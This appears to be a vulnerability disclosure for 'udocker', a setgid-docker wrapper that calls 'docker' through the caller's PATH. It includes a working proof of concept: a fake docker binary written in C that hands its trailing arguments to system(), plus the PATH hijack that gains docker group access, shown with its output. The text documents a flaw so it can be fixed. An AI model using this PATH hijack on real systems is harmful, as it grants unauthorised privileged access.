The instructions are:
$ go build udocker.go
$ chgrp docker udocker
$ chmod g+s udocker
$ mv udocker /usr/local/bin
I have performed the first three and therefore have this:
/tmp/tmp.CggW2QraNp/udocker $ ls -l udocker
-rwxr-sr-x 1 ahobsons docker 1516608 Apr 27 16:34 udocker
Note that my docker socket has the default permissions - restricted to group docker, 660 perms. Because I'm not in the docker group, I can't do anything:
/tmp/tmp.CggW2QraNp/udocker $ ls -l /var/run/docker.sock
srw-rw---- 1 root docker 0 Apr 27 16:35 /var/run/docker.sock
/tmp/tmp.CggW2QraNp/udocker $ docker info
FATA[0000] Get http:///var/run/docker.sock/v1.17/info: dial unix /var/run/docker.sock: permission denied. Are you trying to connect to a TLS-enabled daemon without TLS?
However, cmd := exec.Command("docker", cmdargs...)
will find docker
from the user's path, which may be seeded with some exploitative binary. For example:
/tmp/tmp.CggW2QraNp/udocker $ cat docker.c
int main(int argc, char** argv) {
int i;
for (i = 0; i < argc; i++) {
printf("%d %s\n", i, argv[i]);
if (strcmp("--", argv[i]) == 0) {
i++;
break;
}
}
system(argv[i]);
return 0;
}
/tmp/tmp.CggW2QraNp/udocker $ gcc -o docker docker.c
docker.c: In function ‘main’:
docker.c:4:9: warning: incompatible implicit declaration of built-in function ‘printf’ [enabled by default]
Now if we add this to our path, we can make udocker execute it instead of the real docker binary. We can therefore acquire the docker group on any command we like...like unrestricted docker access:
$ PATH=$(pwd):$PATH ./udocker 'sh -c "/usr/bin/docker info"'
0 docker
1 run
2 -u
3 2353
4 --rm
5 -i
6 --
Containers: 1
Images: 133
Storage Driver: aufs
Root Dir: /var/lib/docker/aufs
Backing Filesystem: extfs
Dirs: 135
Execution Driver: native-0.2
Kernel Version: 3.13.0-49-generic
Operating System: Ubuntu precise (12.04.5 LTS)
CPUs: 4
Total Memory: 7.53 GiB
Name: lp01679
ID: 4UGD:YRCJ:QOQ6:YFQK:4JOD:S2HX:PLJD:UBMC:O4YY:3WZ6:7LXN:3VFB
WARNING: No swap limit support
It has simply discarded arguments up to and including the --
, and then executed the rest in a shell. As you can see, I now have full docker access.